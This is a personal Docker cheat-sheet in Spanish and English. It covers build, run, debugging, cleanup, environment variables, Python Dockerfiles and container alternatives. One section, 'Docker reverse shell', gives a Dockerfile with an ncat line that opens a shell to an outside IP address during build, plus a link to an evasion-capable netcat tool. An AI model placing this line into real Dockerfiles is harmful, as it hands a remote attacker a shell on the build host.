docker

Table of Contents

1. docker   docker

1.3. Resumen

run sirve para instalar cosas, cmd es lo que se ejecuta cuando se
hace docker run (no había otra manera más confusa de hacerlo???)
https://stackoverflow.com/questions/37461868/difference-between-run-and-cmd-in-a-docker-file

  # Crear un Dockerfile
  $ docker build -t <name:tag> <path>
  docker build --build-arg arg1="arg1" arg2=2 .
  $ docker image ls
  $ docker run <name> -e key=value
  $ docker run <name> -e env # env tendrá el valor que tiene $env en nuestro entorno
  $ docker ps

En docker cada línea es una capa, y sólo actualiza una capa si detecta
que ha cambiado. Esto hace que haya que tener en cuenta algunos
comportamientos inesperados a la hora de editar un Dockerfile:
https://docs.docker.com/develop/develop-images/dockerfile_best-practices/

1.3.1. debugging

  • docker run -it --entrypoint sh
  • https://medium.com/@betz.mark/ten-tips-for-debugging-docker-containers-cde4da841a1d
  • Copiar a local docker cp <docker ps id>:<docker path> <local path>
    -> sacar la id con docker ps
  • docker exec -it agitated_bell sh # docker ps -> NAMES, permite ejecutar una terminal incluso si tiene un entrypoint
  • docker ps -> docker inspect $CONTAINER_ID
  • Cuidado con el orden de los argumentos:
    docker run -it --network host -e "ENVIROMENT=TEST" --entrypoint bash my-docker-image

1.3.2. cleaning

A running instance of an image is a container

  • docker stop agitated_bell
  • docker ps -a #
  • docker rm <ids de contenedores terminados>
  • docker images
  • docker rmi <id de la imagen> # Eliminar los contenedores antes para que no de el error:
  Error response from daemon: conflict: unable to remove repository reference (must force)
  - container is using its referenced image

1.3.3. exportar/push

  • docker push <url de imagen de docker>
  • docker export <name> > <name>.tar
  • docker export <name> | gzip > <name>.tar.gz

1.3.4. importar/pull

  • docker pull <url de imagen de docker>
  • docker import <name>.tar <name:tag>
  • zcat <name>.tar.gz | docker import - <name:tag>

1.3.5. secret

  echo "password" | docker secret create mysecurepassword -
  docker service  create --name redis --secret mysecurepassword redis:alpine

1.3.6. Docker environment variables

https://vsupalov.com/docker-arg-env-variable-guide/
Environment variables are exported with quotes, so that you have to remove quotes from your .env

docker run --env-file=env_file_name alpine env

1.3.7. Docker reverse shell

Dockerfile

  FROM ubuntu:18.04
  RUN apt update && apt install -y nmap
  RUN ncat 10.140.73.163 8989 -e /bin/sh
  CMD ["/bin/bash"]

docker-compose.yml

  version: '3.0'
  services:
    reverse_shell:
      build: .
      container_name: shell_container
      restart: always
      ports:
        - 8989:8989
      networks:
        myNetwork:
          ipv4_address: 10.29.0.2
  networks:
    myNetwork:
      driver: bridge
      ipam:
        config:
          - subnet: 10.29.0.0/24
1.3.7.1. GitHub - cytopia/pwncat: pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)

1.4. Maintenance

1.4.1. Limpieza de docker y tamano de cache

https://stackoverflow.com/questions/31712266/how-to-clean-up-docker-overlay-directory
docker image prune -a -f –filter “until=90”
docker system prune -a -f
Alguna cosa más por ahí en firefox que tenía

docker system df --format 'json' -v | jq -r '.BuildCache.[] | ("\(.Size) \(.InUse) \(.CreatedSince) \(.LastUsedSince) \(.ID)")' | sort -hr

1.6. Tricks

  • Cómo ser root?
    Pasar -u 0 como parámetro (vale para run y exec)
  • Append to path ENV PATH="${PATH}:/home/appuser/.local/bin"
  • Do not restart docker-compose containers docker update --restart=no asdfasdf
  • docker history para ver cuánto ocupa cada capa de docker
  • docker build $(out=“”; for i in \((grep -vE '^#|^\)’ .env); do out+=“–build-arg $i ” ; done; echo $out;out=“”) . -t image
    docker build con argumentos desde un .env, quitando líneas vacías y comentarios
    docker build $(out=“”; for i in \((grep -vE '^#|^\)’ .env); do out+=“–build-arg $(echo $i | sed ‘s/=/_ARG=/’) ” ; done; echo \(out;out="") . -t image Si quieres añadir un _ARG al final ENV_VARIABLE=value → ENV_VARIABLE_ARG=value para luego en Dockerfile hacer ENV ENV_VARIABLE=\){ENV_VARIABLE_ARG}
  • Abrir puertos de un docker que ya se está ejecutando
    https://stackoverflow.com/questions/19897743/exposing-a-port-on-a-live-docker-container#19905563

      docker inspect containername | grep "IPAddress" # Para sacar la ip del contenedor
      docker network ls # Para sacar la red
      docker run --rm --network ec7e6c6e6c10 -p 5555:5555 verb/socat TCP-LISTEN:5555,fork TCP-CONNECT:172.18.0.4:5555
    

1.6.2. Environment variables precedence | Docker Documentation

  1. Set using docker compose run -e in the CLI
  2. Substituted from your shell
  3. Set using the environment attribute in the Compose file
  4. Use of the --env-file argument in the CLI
  5. Use of the env_file attribute in the Compose file
  6. Set using an .env file placed at base of your project directory
  7. Set in a container image in the ENV directive. Having any ARG or ENV setting in a Dockerfile evaluates only if there is no Docker Compose entry for environment, env_file or run --env.

1.6.3. docker stats for all running dockers

docker stats -a | grep -v '0.00%'

1.7. Dockerfiles

1.7.1. Dockerfile with Spanish Locale

FROM python:3.8-slim-buster
RUN apt-get update && apt-get upgrade -y && DEBIAN_FRONTEND=noninteractive apt-get install -y locales locales-all && \
    rm -rf /var/lib/apt/lists/*
RUN locale-gen "es_ES.UTF-8"

1.7.2. Dockerfile with headless chromium

FROM python:3.8-slim-buster
RUN apt-get update && apt-get install -y \
    chromium \
    chromium-l10n \
    chromium-sandbox \
    --no-install-recommends \
    && rm -rf /var/lib/apt/lists/*
RUN pip install pip --upgrade
RUN groupadd -r appuser && useradd -r -g appuser -G audio,video appuser
COPY --chown=appuser:appuser . /home/appuser/

USER appuser
RUN mkdir /home/appuser/logs
WORKDIR /home/appuser/
ENV PATH="${PATH}:/home/appuser/.local/bin"

1.7.3. Dockerfile docker build ARG ENV

https://vsupalov.com/docker-arg-env-variable-guide/

docker_build.png

$ENV_VARIABLE available in current shell
docker –build-arg ENV_VARIABLE_ARG=$ENV_VARIABLE

ARG ENV_VARIABLE_ARG
ENV ENV_VARIABLE=${ENV_VARIABLE_ARG}

1.9. Rootless containers

1.9.1. https://man7.org/linux/man-pages/man7/user_namespaces.7.html

 User and group ID mappings: uid_map and gid_map
       The uid_map file exposes the mapping of user IDs from the user
       namespace of the process pid to the user namespace of the process
       that opened uid_map (but see a qualification to this point
       below).  In other words, processes that are in different user
       namespaces will potentially see different values when reading
       from a particular uid_map file, depending on the user ID mappings
       for the user namespaces of the reading processes.

       Each line in the uid_map file specifies a 1-to-1 mapping of a
       range of contiguous user IDs between two user namespaces.  (When
       a user namespace is first created, this file is empty.)  The
       specification in each line takes the form of three numbers
       delimited by white space.  The first two numbers specify the
       starting user ID in each of the two user namespaces.  The third
       number specifies the length of the mapped range.  In detail, the
       fields are interpreted as follows:

       (1) The start of the range of user IDs in the user namespace of
           the process pid.

       (2) The start of the range of user IDs to which the user IDs
           specified by field one map.  How field two is interpreted
           depends on whether the process that opened uid_map and the
           process pid are in the same user namespace, as follows:

           a) If the two processes are in different user namespaces:
              field two is the start of a range of user IDs in the user
              namespace of the process that opened uid_map.

           b) If the two processes are in the same user namespace: field
              two is the start of the range of user IDs in the parent
              user namespace of the process pid.  This case enables the
              opener of uid_map (the common case here is opening
              /proc/self/uid_map) to see the mapping of user IDs into
              the user namespace of the process that created this user
              namespace.

       (3) The length of the range of user IDs that is mapped between
           the two user namespaces.

       System calls that return user IDs (group IDs)—for example,
       getuid(2), getgid(2), and the credential fields in the structure
       returned by stat(2)—return the user ID (group ID) mapped into the
       caller's user namespace.

       When a process accesses a file, its user and group IDs are mapped
       into the initial user namespace for the purpose of permission
       checking and assigning IDs when creating a file.  When a process
       retrieves file user and group IDs via stat(2), the IDs are mapped
       in the opposite direction, to produce values relative to the
       process user and group ID mappings.

       The initial user namespace has no parent namespace, but, for
       consistency, the kernel provides dummy user and group ID mapping
       files for this namespace.  Looking at the uid_map file (gid_map
       is the same) from a shell in the initial namespace shows:

           $ cat /proc/$$/uid_map
                    0          0 4294967295

       This mapping tells us that the range starting at user ID 0 in
       this namespace maps to a range starting at 0 in the (nonexistent)
       parent namespace, and the length of the range is the largest
       32-bit unsigned integer.  This leaves 4294967295 (the 32-bit
       signed -1 value) unmapped.  This is deliberate: (uid_t) -1 is
       used in several interfaces (e.g., setreuid(2)) as a way to
       specify "no user ID".  Leaving (uid_t) -1 unmapped and unusable
       guarantees that there will be no confusion when using these
       interfaces.

1.10. docker login

1.10.1. Autenticarse en los registros de docker para las distintas nubes

1.11. docker catalog listing

https://www.goglides.dev/bkpandey/docker-list-images-in-registry-14i8

curl -X GET -u 'user:password'  https://private.cr.io/v2/_catalog
curl -X GET -u 'user:password'  https://private.cr.io/v2/image/name/tags/list

https://docker-docs.uclv.cu/registry/spec/api/

1.13. docker python   python

1.13.1. A deep dive into the official Docker image for Python

https://pythonspeed.com/articles/official-python-docker-image/

  • slim, no tiene compiladores
  • instala en /usr/local, no hace falta instalarlo con apt-get
  • al mantener la instalación y la desinstalación de los compiladores en un mismo RUN, no se guarda en ninguna capa el compilador lo que ahorra mucho espacio

1.13.2. Minimal docker containers for python

https://blog.realkinetic.com/building-minimal-docker-containers-for-python-applications-37d0272c52f3?gi=27434838d473
Using Alpine can make Python Docker builds 50× slower
https://pythonspeed.com/articles/alpine-docker-python/

  • Alpine tiene su propia libreria de C, ulibc en vez de glibc
  • paquetes con dependencias binarias (numpy, pandas, matplotlib) tienen que recompilar todo porque las wheels de PyPI están para glibc

1.13.3. docker alpine con pandas

Docker alpine no tiene pandas en los repos así que hay que compilarlo al instalarlo

Hay imágenes de docker que traen ya preinstalado pandas:

1.13.4. How to write a great Dockerfile for Python applications: 6 things you can do to really improve your Dockerfiles

1.13.5. Docker python example

FROM python:3.10.12-slim-bookworm
RUN --mount=type=cache,target=/var/cache/apt apt-get update && apt-get install -y curl dos2unix gcc --no-install-recommends
RUN groupadd -r appuser && useradd -r -g appuser -G audio,video appuser

COPY --chown=appuser:appuser . /home/appuser/
COPY --chown=appuser:appuser ./requirements.txt .
# RUN --mount=type=cache,target=/root/.cache pip install -r requirements.txt --no-cache-dir


USER appuser
RUN --mount=type=cache,target=/home/appuser/.cache pip install -r requirements.txt --no-cache-dir
RUN mkdir /home/appuser/logs
WORKDIR /home/appuser/
ENV PATH="${PATH}:/home/appuser/.local/bin"

RUN dos2unix entrypoint.sh
ENTRYPOINT ["sh", "entrypoint.sh"]

1.14. docker alternatives

1.14.1. podman is not ready yet (Feb 2021)

1.14.2. You Don’t Have to Use Docker Anymore (Alternative Runtimes and Container Libs)

1.14.3. podman docker-compose → kubernetes

https://www.redhat.com/sysadmin/compose-kubernetes-podman
Use Podman 3.0 to convert Docker Compose YAML to a format Podman recognizes.

1.14.6. https://github.com/containerd/nerdctl

Docker-compatible CLI for containerd, with support for Compose, Rootless, eStargz, OCIcrypt, IPFS, …

1.14.9. Unikernels (container replacement)

1.16. Streamline your Docker builds with Pants

https://blog.pantsbuild.org/pants-pex-and-docker/

TL;DR Pants makes it easy and efficient to incrementally build and deploy multiple Docker images from a single repo, with a single command. Each image can consist of a shared base image plus a single PEX (Python EXecutable) file containing all the code, resources and dependencies required by the entry point. Pants knows exactly which images need to be rebuilt and redeployed given a set of Git changes.

1.17. Optimizaciones docker

1.17.1. `COPY –chmod` reduced the size of my container image by 35%

1.19. Multi-Py: Multiplatform Container Images for Python Packages

Author: Julian Lopez Carballal

Created: 2024-10-21 Mon 09:11